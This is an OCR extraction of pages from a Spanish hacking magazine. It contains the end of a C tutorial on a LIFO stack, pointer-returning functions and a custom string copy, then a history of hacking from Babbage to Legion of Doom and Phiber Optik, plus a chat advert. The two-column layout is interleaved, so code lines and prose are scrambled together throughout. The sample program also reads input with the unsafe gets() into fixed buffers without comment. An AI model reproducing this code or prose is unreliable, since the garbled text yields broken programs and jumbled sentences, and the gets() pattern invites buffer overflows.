return 0; posibles de hacerlo con C y punteros.
}
Hay más, pero no nos vamos ahora a
// Implementación de las funciones perder en la inmensidad de la diversidad
int menu(void) xD. Lo que nos debe quedar claro es
{ que eso es exactamente equivalente a:
// Variables locales necesarias
int opcion; // Opción elegida en el menú // Inicializamos la pila
int correcto = 0; // Control para el bucle infinito for (actual = pila, i = 0; i < tam; i++)
// Presentamos el menú en pantalla {
do { *(i + actual) = numero; // Inicializamos a cero
printf("Eliga una de las siguientes opciones (1, 2, 3 ó 4): \n"); }
printf("1. Mostrar pila\n");
printf("2. Añadir elemento a pila\n");
Ya que en C, como en Matemáticas, la
printf("3. Extraer cima de pila\n");
printf("4. Salir del programa\n"); suma es conmutativa: el orden de los
// Guardamos en opcion la opción elegida factores no altera el resultado. Por tanto,
scanf("%i", &opcion); en la sintaxis anterior i podría ponerse
// Comprobamos que la opción es correcta con un switch como el nombre del array y actual como
switch (opcion) {
el índice. De ahí que la forma de indexar
case 1:
case 2: vectores anterior sea correcta y de
case 3: hecho, podéis comprobar que el ANSI
case 4: C lo acepta. Es una curiosidad, nada
correcto = 1; más.
break;
default:
printf("Opción incorrecta, introduzca una válida\n"); El resto del código se entiende más o
break; menos bien. No está exento de
} chapuzas, pero luego os daré algunas
} while (correcto == 0); pautas para hacer este código más
// Una vez que se ha introducido una opción válida se devuelve
“elegante” y según los estándar ANSI.
return opcion;
} Y bien, como os veo con ganas de
mejorar esto, cosa por otra parte que
void ver_pila(void) no es difícil, vamos a ver algunas cosas
{ que hacen nuestros códigos más
// Variables locales necesarias
profesionales (gracias Alfredo ;-)):
int i; //Contador en bucles
// Mostramos la pila en pantalla
system("clear"); 1. Primero, estamos implementando una
printf("Estado de la pila desde la cima hasta la base: \n"); funcionalidad nueva: una pila de enteros.
for (i = tam -1; i > -1 ; i--) Así que lo que tendremos que hacer es
{
“separar” esto del código principal. Lo
printf("\t\t\t Pila[%i]: %i\n",i,i[pila]);
} mejor sería crear un archivo “pila.h”,
} donde guardamos las cabeceras (lo que
en este código va antes del main), que
void poner(const int numero) dan la interfaz para usar la pila. La
{
implementación de las funciones se ha
// Incrementamos el puntero con la posición actual
//actual++; de hacer en un archivo llamado “pila.c”.
// Comprobamos primero que la pila no esté llena Después, en nuestro programa principal,
if (actual == (cima + tam)) // Si el puntero apunta a la cima + 1 hacemos un #include “pila.h” y así
// (pila desbordada por el lado superior) incluimos todo. Esto nos ayuda a tener
{
el código más separado y ser más
putchar('\n');
ordenados y elegantes.
Listado 12 - Implementación de una pila LIFO de enteros - (2/3)

54

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


que vamos a ver son funciones que
printf("Pila llena, saque algún elemento\n");
devuelven punteros, ya que puede que
}
en alguna ocasión, nos interese el tener
else // En caso contrario
{ que implementar alguna de estas
*actual = numero; // Lo colocamos en la cima funciones.
actual++; // Aumentamos el puntero que apunta a la posición actual
putchar('\n');
La sintaxis estándar de funciones que
system("clear");
devuelven punteros es la siguiente:
printf("Elemento introducido satisfactoriamente\n");
putchar('\n');
tipo_dato_devuelto *nombre_funcion(argumentos);
putchar('\n');
}
} Que no hay que confundir con:

int quitar(void) (tipo_dato_devuelto *) nombre_funcion(argumentos);


{
// Variables locales
Que lo que hace es declarar un puntero
int numero;
// Decrementamos para que apunte al valor que queremos recuperar a una función y que veremos un poquito
actual --; más adelante.

// Comprobamos que no queramos desbordar por abajo la pila


Vamos a ver más claramente lo de las
if (++actual == cima) // Si la pila está vacía
funciones que devuelven punteros con
{
putchar('\n'); un ejemplo. Vamos a implementar la
system("clear"); función de C que copia una cadena de
printf("Pila vacía, introduzca algún elemento\n\n\n"); texto en otra. En C el prototipo de esta
error = 1;// Impedimos que se intente imprimir algo
función es:
}
else // En caso contrario
char *strcpy(char *destino, const char *fuente);
{
// Decrementamos para que apunte al valor que queremos recuperar
actual --; Y antes de seguir os digo que:
error = 0; // Permitimos la impresión
numero = *actual; // Extraemos el número const char *fuente
*actual = 0; // Devolvemos el status de "vacío" al elemento de la
// cima de la pila Hace que la función no pueda modificar
}
ese parámetro, como ya comenté antes,
return numero; // Devolvemos el número pero para los despistados no está mal
} como recordatorio ;-).

Listado 12 - Implementación de una pila LIFO de enteros - (3/3) Como vemos, la función se “ajusta” a
la sintaxis que os comentaba al principio
2. Segundo, los comentarios, todos, También podéis comprobar que lo que de este epígrafe. Y ahora, os pongo el
hacerlos con /* y */, que es lo que el usuario introduzca sea un número. código para copiar cadenas (recomiendo
$DEITY manda. Además, procurad que Hay una más, pero ya os la comentaré antes, para irse familiarizando, el crear
no ocupen más de 80 caracteres. Si (si me acuerdo) cuando hablemos de el pseudocódigo y el flujograma):
ocupan más separarlos en varios tipos definidos por el usuario y Fichero cadenas.h:
renglones. Además, los comentarios enumeraciones. De momento, con esto
/* Fichero que contiene las cabeceras de las funciones
hacerlos justo antes del código, no en vais servidos. Y se puede lograr algo
de manejo de cadenas */
la misma línea. bastante profesional, sin mucho
esfuerzo. Ya sois Jedis, que no se diga /* Función que copia una cadena en otra */
3. Tercero, nada de usar variables :P.
globales. En la especificación de nuestras char *copiacad(char *destino, const char *fuente);
funciones había algunos campos que
aparecían como “opcionales”, ¿verdad?
Listado 13. Fichero de cabecera cadenas.h
Pues ahí es donde está el pequeño
saltamontes xD. Fichero cadenas.c:

/* Archivo que implementa las funciones de


4. Y cuarto, las constantes definidas en
manejo de cadenas */
el preprocesador (con #define) mejor Bueno, para ir terminando con esto de
en mayúsculas. punteros y arrays, vamos a ver algunas /* Función que copia una cadena en otra */
cositas más, que pueden venir muy bien /* Importamos el archivo de cabecera */
Pues hale, ya tenéis para ir mejorando. a la hora de programar en C. Lo primero #include "cadenas.h"

55

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


char *copiacad(char *destino, const char *fuente) Nota
{
/* 1. Definimos un puntero a carácter que apunta a la cadena destino */ Si compilas en Linux con las banderas “-Wall
-ggdb” (recomendables) verás que el compi­
char *puntero = destino;
lador te da un mensaje de advertencia sobre
la función puts(), que es peligrosa. Por eso,
/* 2. Mientras no lleguemos al final de la cadena origen */ podemos implementar nuestra propia función
while (*fuente != '\0') de mostrar cadenas en el mismo archivo ca­
{ denas.c que hemos venido utilizando. Amén
/* Copiamos en el destino el origen */ de incluir la definición en cadenas.h ;-).
*puntero = *fuente;
/* Incrementamos los punteros */
Pues como podéis ver, este método de
puntero ++;
fuente ++;
desarrollo de programas nos da una
/*====Se podría haber usado una notación más compacta====*/ mayor flexibilidad y reutilización del
/*================*puntero ++ = *fuente ++;==============*/ c ó d i g o. Po d e m o s u s a r l a f u n c i ó n
} copiacad() en tantos programas como
/* 3. Añadimos el carácter de final de cadena */ queramos, sin más que llamar a la
*puntero = '\0'; función de cabecera cadenas.h.
/* 4. Devolvemos un puntero al destino */ Habréis observado que en este caso, se
return destino; incluye de una forma especial:
}

#include "cadenas.h"
Listado 14. Implementación del fichero cadenas.c
Tanto en el programa principal como en
Y el programa principal es:
cadenas.c. Esto se debe a que si
/* Programa que usa la función copiacad que hemos definido en un fichero aparte */ ponemos los símbolos de mayor y menor
/* Importamos las librerías necesarias */ que, el compilador interpreta que debe
#include<stdio.h> buscar cadenas.h en donde busca a
#include<stdlib.h> stdio.h, stdlib.h ..., y nosotros habremos
#include<string.h> puesto este archivo en otro sitio,
/* Aquí incluimos la que hemos implementado nosotros */
generalmente y como ha sido mi caso,
/* Le tenemos que dar la ruta - en este caso directorio actual - */
en el mismo directorio donde lo hayamos
#include "cadenas.h"
escrito el programa principal.
/* Programa principal */

int main() Con las comillas, le damos a entender


{ al compilador que primero lo busque en
/* Declaración de variables necesarias */ el directorio actual y luego, si no está,
/* Cadena que pediremos al usuario */ en donde suelen estar el resto de
char fuente[100]; librerías.
/* Cadena donde copiaremos lo que introduzca el usuario */
char destino[100]; Un error muy frecuente en este tipo de
funciones (que lo he tenido yo y hasta
/* Borramos la pantalla */
que lo encuentras es un dolor de parto
system("clear");
lo que te puede dar) es poner:
/* Pedimos la cadena al usuario */
while (*puntero != '\0')
printf("Introduzca una cadena, termine con Enter:\n");
/* La almacenamos con la función gets de C */
En vez de usar:
gets(fuente);

while (*fuente != '\0')


/* La copiamos en la cadena destino */
copiacad(destino,fuente);
Con lo cual, no funcionará como está
/* La imprimimos en pantalla */
previsto. Y, ¿por qué? Pues, como somos
/* Para ello usamos la función puts de C */ ya expertos en punteros (después del
/* Viene incluída en string.h */ folletín que os estoy dando, más os vale
printf("Cadena introducida por el usuario: \n"); :P), es fácil de deducir. Veamos qué
puts(destino); hace la rutina de copia de cadenas.

return 0; Primero, apuntamos al puntero destino


}
en la rutina. Esto está en la línea:
Listado 15. Programa principal

56

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


pueble entre la flora y la fauna de C.
char *puntero = destino; Introduzca una cadena, termine con Enter:
Volveremos sobre esto en próximas
Ejemplo de cadena, no sé para qué escribo, si
sé que no va a salir nada :P entregas.
Después, nos metemos en el bucle
while. En el caso del código erróneo, Cadena introducida por el usuario:
Y hasta aquí, creo que ya habéis tenido
vamos a estar ejecutando el bucle hasta
Salida por pantalla 15 bastante. Os animo a que probéis y
que el valor en la dirección de memoria
Pa r a u n n i v e l m á s p r o f u n d o d e juguéis un poco con todo esto, que
a la que apunta puntero sea el carácter
entendimiento, sugiero ejecutar un hagáis los ejercicios y ejemplos
de fin de cadena: \0.
depurador y ver cómo evolucionan propuestos. Probad a implementar
nuestras variables y/o punteros con el funciones que vienen en C como strlen(),
Si se la da casualidad de que destino
tiempo, cómo se ejecutan los bucles... strcat(). Así os vais familiarizando con
no es una cadena vacía (no la hemos
etc, etc... su uso.. Intentad hacer dos versiones:
inicializado en este caso, pero podría
con y sin punteros (es decir con arrays
darse el caso), nunca entraríamos en el
Hasta aquí esto hemos visto un ejemplo de caracteres).
b u c l e y n o s d a r í a c a d e n a va c í a .
de funciones que devuelven punteros.
Voy a explicaros someramente qué es Y también os animo a que inventéis,
Después, asignamos el valor de la
eso de punteros a funciones. innovéis y compartáis con todos nosotros
posición del vector fuente
Esencialmente, qué son y para qué se en el foro vuestras dudas, alegrías,
correspondiente a la pasada actual del
usan. tristezas e inventos en C. Os estamos
bucle a la cadena destino que,
Nos ha tocado bailar con la más fea :P. esperando. Espero que haya sido de
recordemos, está apuntada por puntero.
Esto es así porque los punteros a vuestro agrado. En la siguiente entrega
funciones es, quizás, el uso más profundizaremos con punteros y
Incrementamos los punteros. Ahora infrecuente de los punteros en C, pero veremos algunas cositas más avanzadas.
bien, recordemos que destino es una no por ello deja de ser el más
cadena que no está inicializada, por lo importante. Para declarar un puntero a Hasta la vista mis Jedi, que la Fuerza
que contendrá basura informática. Y una función tendremos que usar la del C os acompañe ;-).
puede que en alguna de las posiciones siguiente sintaxis:
de memoria que ocupa destino haya un
Juan José E.G. (alias Popolous)
carácter de fin de cadena. Por lo tanto, (tipo_dato_devuelto *) nombre_funcion(argumentos);
el bucle se podrá ejecutar mientras no
nos “topemos” con uno de esos Como ya se ha visto anteriormente.
caracteres puestos ahí por obra y gracia Ahora nos surgirá la pregunta: ¿para
del Espíritu Santo. qué se usan? Y os diría que se usan
como parámetros a funciones, por
Por tanto, aquí tenéis desglosadito el ejemplo de ordenamiento, para hacer
fallo. Para los incrédulos: Probad a poner funciones de propósito general. Es decir,
el código erróneo e inicializar la cadena si estamos hablando de funciones de
destino en el programa principal y o r d e n a m i e n t o, p u e s q u e o r d e n e n
ejecutar el código. El resultado os lo enteros, caracteres, tipos definidos por
muestro aquí: el usuario... Cualquier tipo de dato que

PON AQUÍ TU PUBLICIDAD


Contacta DIRECTAMENTE con INFÓRMATE
nuestro coordinador de publicidad ¡sin compromiso!
610 52 91 71

precios desde
99 euros
57

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


La historia del ciberespacio es quizá una de las más fantásticas odiseas desde que el hombre
conquistó el lenguaje. La sola idea de incursionar en nuevos universos en los que no existen
límites ni leyes físicas ha poblado la imaginación de los científicos de todos los tiempos, y no
es en géneros literarios como la Ciencia Ficción o la literatura en general en los que se reviste
de la importancia y práctica del hacking como una forma de vida inherente al ciberespacio,
digamos que la conquista del internet y la introducción de su significado a nuestra cotidianidad
ha sido una revolución en la que en los últimos años se ha visto involucrada la humanidad
entera y ha cambiado el punto de vista del hombre con el universo y consigo mismo, el
fenómeno del hacking entonces ha crecido en paralelo con esta revolución estruendosa. ¿Quien
si no los hackers son los reyes del ciberespacio?

La palabra ciberespacio nació de la pluma de William sido manejada con anterioridad, algunos autores como
Gibson, uno de los escritores más prolíficos de la Ciencia Kevin O´Donnell que lo llama interface, hablaban de una
Ficción estadounidense y padre de un género de literatura realidad generada a partir de un computador pero no es
underground llamada cyberpunk, Gibson menciona en hasta con el Neuromante y sus posteriores secuelas cuando
1982 la palabra ciberespacio en un cuento llamado Burning la idea de una realidad a partir de una inmensa red de
Chrome no obstante no es sino hasta la posterior computadoras interconectadas se entrelaza con el concepto
publicación de su novela Neuromante (hoy por hoy un de Aldea Global (global village) pensado y popularizado
clásico del cyberpunk), cuando dibuja una historia poblada por el filósofo Marshall Mcluhan en los años 70s.
de hackers (cybercowboys) que se conducen por una
entramada red virtual entre universos alternos jamás De la Novela Neuromante se desprenden dos obras más
imaginados. que son Count Zero (1986) y The Mona Lisa Overdrive
(1988) que construyen en sí mismas una especie de trilogía
Para Gibson en su obra novelística publicada en 1984 el clásica en la literatura de Gibson.
ciberespacio o matriz como algunas veces lo llama no es
más que “Una alucinación consensual experimentada Pero hablar del ciberespacio es meterse en una hondura
diariamente por millones de legítimos operadores, en filosófica que aún ahora es muy poco comprensible,
todas las naciones [...] Una representación gráfica abstraída tocaremos entonces la puerta para abrirnos al mundo de
de los bancos de todos los ordenadores del sistema ciertos personajes que hicieron del ciberespacio su terreno
humano”. Para ser ficción el Neuromante hablaba de un sin ley, algo como el antecedente más cercano a los
ciberespacio bastante parecido al que hoy conocemos, verdaderos hackers de la actualidad.
claro tomando con reservas eso de “Alucinación
consensual”.

Antes de esto, el concepto o la idea de ciberespacio había En la historia de las maquinas, el abuelo primitivo de la

58

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


computadora bien pudiera ser el ábaco Para mediados del siglo XX a la par que
inventado por los griegos pero por su los desarrollos tecnológicos tenían el
complejidad no es sino la maquina móvil terrible de la guerra, en 1947
Pascaline inventada en 1662 por el físico William Shockley inventó para Bell Labs
y matemático francés Blaise Pascal que el primer transistor de la historia que
e s c o n s i d e ra d a c o m o l a m a q u i n a vino a ser una evolución del bulbo, en
antepasado de la computadora moderna. 1952 Grace Murray (¿quién dice que no
Fig 3.- Tarjetas perforadas hay hackers mujeres?) inventó el primer
El Pascaline no es más que el desarrollo compilador y desarrolló el lenguaje
de un aparato que permitía realizar Telégrafo, en 1876 la idea loca de COBOL para la primera computadora
cálculos, ayudado de un mecanismo con transmitir impulsos sonoros a través de electrónica comercial, la UNIVAC 1.
8 figuras y carretes de 10, 100, y 1000 cables puso a trabajar de manera
unidades. Por su contribución, el apellido independiente y sin conocerse a dos No es sino hasta 1958 que surge en
Pascal da nombre a un lenguaje básico inventores como lo fueron Elisha Gray Estados Unidos la Agencia de
de programación, del que seguro y Alexander Graham Bell para inventar Investigación de Proyectos Avanzados
cualquier programador o estudiante de un dispositivo que transmitiera impulsos
informática ha tenido noticias, Pascal. eléctricos que luego se tradujeran en de Defensa (DARPA) como respuesta al
sonidos auditivos a distancia y a través lanzamiento del satélite soviético
de cables, algo parecido a lo que hoy Sputknik y con la firme misión de
conocemos como el Teléfono. La historia elaborar nuevas alternativas de defensa,
cuenta que fue Graham Bell quien con eran tiempos de la guerra fría. De esta
unas horas de diferencia patentó primero agencia nace el posterior proyecto
el invento que lo volviera famoso. conocido como ARPA que no es más que
en su evolución el primer antecedente
del actual Internet.

Del proyecto ARPA constituido por la


defensa de los Estados Unidos en
Figura 1.- El Pascaline inventado por En el mundo de las computadoras es cooperación con expertos informáticos
el físico matemático francés Blaise Pascal común que a las fallas de los programas se desprende luego el llamado ARPANET
en 1662 o hardwares se les llamen Bugs que en que fue la evolución natural de una idea
inglés no significa otra cosa más que global de defensa a una de usos
No es hasta que en 1791 Charles “insecto”, muy poca gente sin embargo prácticos científicos. En 1969 el ARPANET
Babbage nacido en Inglaterra y conocido sabe la razón de esta expresión muy conectó por primera vez en red,
como el padre de las computadoras corriente en el habla técnica de los computadores tipo IMPS localizados en
inventa su primera “Maquina Analítica” informáticos. nodos de varias universidades de
con el uso de tarjetas perforadas Estados Unidos desatando con esto el
(jackcquard Punch Cards) y plantea las En Septiembre de 1945 un pequeño nacimiento del internet tal como lo
bases de lo que hoy conocemos como insecto quedó atrapado en un bulbo conocemos.
la máquina que revolucionó el desarrollo localizado en el panel
tecnológico en todos los tiempos. “F” de la “Mark II Aiken
Relay Calculator” una
maquina calculadora
que estaba siendo
probada en la
Universidad de
Harvard, el pequeño
insecto provocó una
falla que no permitía
funcionamiento en la
inmensa maquinaria,
por esto y en memoria
a esta anécdota, a los
fallos encontrados en
los softwares o
Fig 2.- The analytical machinne inven-
tada por Babbage hardwares modernos
se le llaman bugs y al
Tuvieron que pasar algunos años más p r o c e s o d e r e p a ra r
Fig. 4.- El reporte (log) en el que aparece el pequeño bicho
hasta que, inspirados en el principio del estas fallas Debugging. como el primer bug encontrado en la historia de las computadoras

59

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Draper mejor conocido como Capitán En este contexto, una generación de
Crunch, para 1972 Draper es un jóvenes empezó a aprender los trucos
veterano de Vietnan que descubre que para dominar y burlar el pago en uno
en cierta marca de cereales vienen de de los servicios más simbólicos de la
regalo unos pequeños silbatos de modernidad: El Teléfono. Para mediados
plástico que emiten un sonido de 2.600 de los años 80´s existían ya grupos de
Hertz, exactamente el tono que se usa aficionados que compartían sus
para obtener llamada de larga distancia conocimientos en electrónica para crear
en las principales compañías telefónicas dispositivos caseros llamados “Blue
de Estados Unidos, con lo que puede boxes” que servían para engañar las
realizar llamadas sin costo alguno. Con centralitas telefónicas y obtener el
un simple juguete el Capitán Crunch servicio telefónico gratuito, el uso del
(que tomó su nombre de los cereales internet era incipiente no obstante estos
que regalaban el silbato) logró crear primeros “Teams” reunían sus ideas en
Fig. 5 Primer nodo que conectó el uno de los primeros antecedentes de terminales BBS (Bolletin Board System)
ARPANET en EUA hacking en la historia. que eran auténticos cuarteles en los
cuales se reunían algunos de los jóvenes
Para 1969 cuando se logró esta hazaña más brillantes de la época.
otros avances habían marcado el
desarrollo de la informática, se había
inventado en 1963 el American Standard
Code for Information Interchange
(ASCII), ese mismo año apareció en
escena el primer ratón de computadora,
y un año después (1964) se perfeccionó
el BASIC que no es más que un lenguaje
de fácil aprendizaje para los estudiantes Fig 7.- El famoso silbato que lograba bur-
de la nueva ciencia de las computadoras. lar las centralitas telefónicas
La existencia de los hackers en los
Estados Unidos al principio fue velada Fig 8.- Ejemplo de una Terminal BBS en la
e ignorada oficialmente hasta que se cual solían reunir sus ideas los primeros hackers
vieron inmiscuidos perdidas millonarias
de las grandes compañías telefónicas y Para esta época existían ya miles de
del gobierno gringo, de hecho hay muy usuarios de la red internet en todo el
poca documentación fidedigna sobre mundo que se conectaban con
cómo operaban los primeros hackers, ordenadores hoy piezas de museos como
una de estas fuentes es el libro “La Caza el modelo Commodore 64, el primer
de Hackers” de Bruce Sterling que a su Apple II+ o el Sinclair Z81 entre otros
vez es uno de los textos más equipos.
documentados sobre los llamados delitos
cibernéticos y la llamada cacería
encarnizada que emprendiera el “Tío
Sam” al principio de los 90´s en contra
Fig 6.- El primer Mouse de la Historia de estos adolescentes curiosos
encaprichados en la consigna de “La
Información debe ser Libre”

El hacking telefónico o phreaking según


Sterling es una práctica que desde los
Cronología inicios de la comercialización masiva de
los servicios telefónicos ha incitado a Fig 9.- El commodore 64, uno de los modelos de
En la década de los 70s la internet aún “los espíritus libres” a romper las reglas, avanzada en 1982
es un pequeño esfuerzo de red entre no debemos olvidar el contexto de las
universidades con el ARPANET y el revueltas y movimientos políticos de la Entre los primeros grupos que iniciaron
hacking consiste en más bien en ciertas década de los 60´s y el espíritu de su operación en el internet recién nacido
técnicas cercanas al phreaking (hackin libertad que encendió la mecha de la se menciona a “414 gang” que en 1982
telefónico), es en esta década en la que conciencia juvenil con o sin el aliciente logra penetrar los sistemas de las
surge un personaje símbolo en la historia de las drogas principalmente en los computadoras del centro militar “Los
de los hackers, su nombre es John Estados Unidos. Alamos” y el “Sloan-Kettering Cancer

60

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Center” del que publica información estas permitían la retroalimentación y gastarles bromas como “Es un caso de
sensible. publicaban artículos de hackers no extrema urgencia, necesito papel de
conocidos o de élite. baño” o cuando por hacer maldad
Los hackers de esta temprana etapa cambiaban el modo del teléfono de
respondían a motivaciones cualquier usuario volviéndolo de paga,
comprometidas tal y como Bruce Sterling lo que ocasionaba que luego de
los describe. “El término “hacker” ha Para finales de los años 80´s la actividad conversar un rato, una grabación
tenido una historia adversa... El término hacker estaba muy extendida y existían interrumpía la llamada de la víctima
puede significar la libre exploración grupos underground bien definidos, los recordándole depositar otra moneda en
intelectual del potencial más profundo avances en materia de informática eran crédito.
y más grande de los sistemas pasmosos, existía ya el telnet y el
informáticos... El hacking se puede protocolo F TP y aunque de forma Entre todos los hackers de esa época
describir como la determinación para incipiente los primeros browsers o sobresalió uno que llamaba la atención
hacer el acceso a la información y los navegadores, las elegantes páginas con poderosamente por su habilidad con el
ordenadores tan libre y abierta como imágenes o contenido multimedia tal phreaking y el hacking, se trataba de
sea posible. El hacking puede implicar como las vemos ahora eran cosa del Mark Abene conocido como Phiber Optik
la convicción más sincera de que la futuro. quien después se convirtió en un primer
belleza puede ser hallada en los símbolo inspirador de millones de
ordenadores, que la elegante estética Uno de los grupos de hackers más adolescentes aspirantes a hacker.
de un programa perfecto puede liberar conocidos de la época eran Legion of
la mente y el espíritu”. Doom (LOD) que tenía como miembros
algunos de los más habilidosos hackers,
El sentimiento del hacker de esta etapa entre ellos se encuentra su fundador
es de la antiburocracia y del anhelo de Lex Luthor (de quien hasta la fecha no
conquistar el reconocimiento de un se conoce su identidad real), Mark Abene
arquetipo cultural, es decir la forma en (Phiber Optik), Christ Goggans (Erik
que se conducían era formalmente ilegal Bloodaxe), The Prophet, Mark Tabas,
no obstante su forma de pensamiento Lord Digital, The Menthor (autor del
giraba entorno a buscar liberarse por la célebre manifiesto hacker) entre otros
vía de la intrusión y la desobediencia muchos.
civil, una forma de lograr triunfos en
contra del sistema que por otra manera Las actividades de estos grupos eran
fuera imposible. v ist o s p o r m i l e s d e a d o l e s c e nt e s
aspirantes a élite, los Legion of Doom
Antes del auge los hackers a finales de se volvieron legendarios por violar
los 80´s y principios de los 90´s los constantemente las reglas, usaban de
Fig 10.- Mark Abene conocido como
Phiber Optik
boletines electrónicos BBS eran ya muy forma cotidiana trucos para el uso
populares en el underground, fue irrestringido del teléfono haciendo Mark Abene luego por una diferencia
precisamente uno de estos boletines Bridges que no eran mas que llamadas con Erik Bloodaxe es echado del LOD y
llamado Plovernet que lograra enlistar entrelazadas en los que se reunían a funda junto a otros hackers como Acid
a más de 500 jóvenes a los que charlar por horas invitando a gente de Phreak, Scorpion, Corrup, entre otros
enseñaba técnicas de phreaking e otros continentes para intercambiar tips un grupo al que llamaron Master of
intrusión ilegal, de este grupo que y claro sin pagar un sólo centavo. Deception (MOD) como una forma de
organizaba los BBS de Plovernet figuraba provocación al LOD.
Lex Luthor quien unos años después Conservaban el espíritu del hacker que
fundara el mítico grupo hacker Legion q u e r í a t ra s c e n d e r m e t i é n d o s e e n Ambos grupos sabían que únicamente
of Doom. ordenadores oficiales para publicar uno podría ser el mejor por lo que se
información sensible y oculta embarcan en una guerra por instituirse
Para 1984, el hacking dejaría de ser compartiendo sus conocimientos y como los ganadores, de esta época es
underground y se publicaría una de las creciendo en número cada vez más. aquella anécdota que incluso ha sido
revistas símbolos del movimiento, se inmortalizada en el cine cuando Phiber
trata de: 2600 the Hacker Quaterly De esta época se recuperan anécdotas Optik en vísperas del día de acción de
fundado por Eric Corley, conocido en el muchas de las cuales no pueden gracias (celebrado en EU) logra meterse
underground como Emmanuel Goldstein, asegurarse como veraces, como cuando en los ordenadores de la cadena
en poco tiempo saldrían a la luz otras los LOD se hicieron de la base de datos t e l e v i s i va W N E T u n a d e l a s m á s
zines como Phrak que se convirtieron para operar el código telefónico del 911 importantes en Nueva York y deja un
en verdaderos objetos de culto y de emergencia, haciendo llamadas al mensaje a los televidentes "Happy
portavoces de los hackers, la diferencia servicio secreto de los EU (algunos dicen Thanksgiving you turkeys, from all of
de estas zines con las anteriores es que que al propio presidente de los EU) para us at MOD" algo que se traduciría como

61

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


“Pavos, pasen feliz día de acción de ejemplar a los que quisieran seguir su erradamente llama hackers, se dan
gracias de parte de nosotros. MOD”. ejemplo, el hecho cohesionó más aun casos como los de Kevin Mitnick el
la unidad de los hackers quienes legaron Halcón (del que hablaremos en otro
Estas atrevidas incursiones pusieron en desde ese entonces su filosofía y a artículo), Vladimir Levin (El estafador
alerta al gobierno de los Estados Unidos Phiber lo convirtieran en un símbolo y más grande de la red), Kevin Poulsen
quien al principio ignoró el crecimiento fundarán un nuevo estilo de rebeldía entre otras historias negras del hacking.
de los hackers no obstante otros agentes que llamaron hacktivismo.
como lo son las crecientes quejas de En los últimos años la actividad negativa
las compañías telefónicas por las En otras partes del mundo existían del hacking se ha dividido en actos de
incursiones de los hackers aceleró el también grupos y hackers que se hacían cracking, viiring (confeccionar virus) y
proceso. cada vez más famosos por sus proezas defaccing que algunas veces han ido de
o fechorías, llama la atención el grupo la mano del hacktivismo y en otros casos
alemán Chaos Computer Club que fue han sido encabezados por una cada vez
investigado por el FBI acusado de más numerosa horda de lammers y
obtener información sensible de scriptkiddies que pululan en la red. De
servidores de la NASA y el Pentagono los inicios de nuestra historia a la fecha
para venderlo a la KGB, nunca les fue no han pasado ni 20 años, la scene ha
comprobado nada. cambiado mucho pero todavía hay más
cosas que contar.
Entrados los años 90´s llegaron los
navegadores, las páginas webs y otros Algo queda claro en estos años de
tipo de hackers, en un medio como lo aprendizaje en la historia del hacking y
era el internet de ese entonces los esto es que a pesar de todo, el
niveles de seguridad eran mínimos lo verdadero espíritu del hacker, su
que para los hackers era un paraíso, se curiosidad y su sed por aprender,
contaban miles de servidores por todo descubrir y estudiar las nuevas
Fig 11.- Integrantes del MOD en una de las el mundo y muy poca preocupación por tecnologías nunca se ha saciado, nunca
raras veces en que se reunieron físicamente la seguridad, para 1995 Microsoft lanza se saciará.
su popular Sistema Operativo Windows
No pasó mucho tiempo hasta que el FBI 95 que ya es funcional con el internet. Cualquier duda o referencia escribanme
le siguiera el rastro a los grupos más a martinfierro@conthackto.com.mx
conocidos y varios integrantes de estos Otra de las leyendas es la llamada
fueron arrestados, no obstante ante la “Guerra de las Hamburguesas”, la Referencias:
inexistente legislación que castigara los historia cuenta que un grupo de hackers
delitos informáticos algunos lograban proclives al hacktivismo cambiaron la Willian Gibson Alepth, http://www.an
su libertad a los pocos meses, Phiber página de Mc Donalds y satirizaron su tonraubenweiss.com/gibson/index.html
Optik fue sentenciado a un año de contenido, no pasó mucho tiempo para Artículo “Gang in Cyberspace” by
prisión, no obstante fue precisamente que otro grupo hiciera lo mismo con la Michelle Slatalla y Joshua Quittner
en la cárcel que se erigió como un página de Burger King dejando en claro Revista Wired, Diciembre de 1994.
símbolo hacker al conceder entrevistas que los hackers eran personas que The 'Complete' History of the Internet.
a la televisión y salir en las primeras podían hacer cuanto les viniera en gana. http://www.wbglinks.net/pages/history/
planas de los periódicos. La Caza de Hackers, 1992; Sterling
Es en esta época en que los hackers Bruce, Bantam Books
El proceso en contra de Phiber Optik y adquirieron la mala fama que les “2600: The Hacker Quarterly”
de otros hackers no fue más que un precede, los medios de comunicación http://www.2600.com/
pretexto para que el gobierno de los se concentraron en dar propaganda a Hacker zine Phrack.
Estados Unidos impusiera un castigo los delincuentes informáticos, a los que http://www.ph rack.org/

¿QUIERES CONOCER A OTRAS PERSONAS QUE LEEN LA REVISTA?


Pues no lo dudes, tienes un CHAT a tu disposición!!!

Para acceder al CHAT únicamente necesitas un


cliente de IRCpor ejemplo el mIRC, el irssi o el xchat: Y si no tienes ganas de instalar ningún programa,
puedes acceder al CHAT directamente con tu
- Para WINDOWS el mIRC ---> http://mirc.irc-hispano.org/mirc616.exe navegador de Internet accediendo a la página
- Para LINUX el irssi ---> http://irssi.org/ o el xchat ---> http://www.xchat.org/ http://www.irc-domain.org/chat/ y poniendo en
CANAL ---> #hackxcrack
Para acceder tendreis que poner en la barra de status:
/server irc.irc-domain.org y despues /join #hackxcrack Saludos y feliz chateo**

** El canal de CHAT de hackxcrack es un recurso ajeno a la revista/editorial cuyo mantenimiento, gestion, administración y contenidos son independientes de la misma.

62

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"


Cogito ergo sum (Pienso luego existo). René Descartes (1596-1650).

Este sencillo -pero tremendamente profundo- aserto resume la esencia de lo que significa el
ser humano. Somos lo que somos por nuestra inteligencia, por nuestra capacidad de razonar,
de tener ideas, de ofrecer soluciones prácticas a los problemas (teóricos o prácticos) que se
nos presentan. Esa capacidad es la que nos sacó de las cavernas y nos ha hecho llegar hasta
donde estamos, que no es poco.

Pero todas esas ideas, todos esos pensamientos que han unir dos piezas está patentado.”
hecho evolucionar a nuestra civilización... ¿a quién o
quienes pertenecen? ¿tienen acaso dueño? Estas preguntas Seguramente estaréis pensando “menuda tontería, eso
son más complejas de lo que en un principio puede parecer, no tiene sentido”. Lo sé, pero lo que seguramente muchos
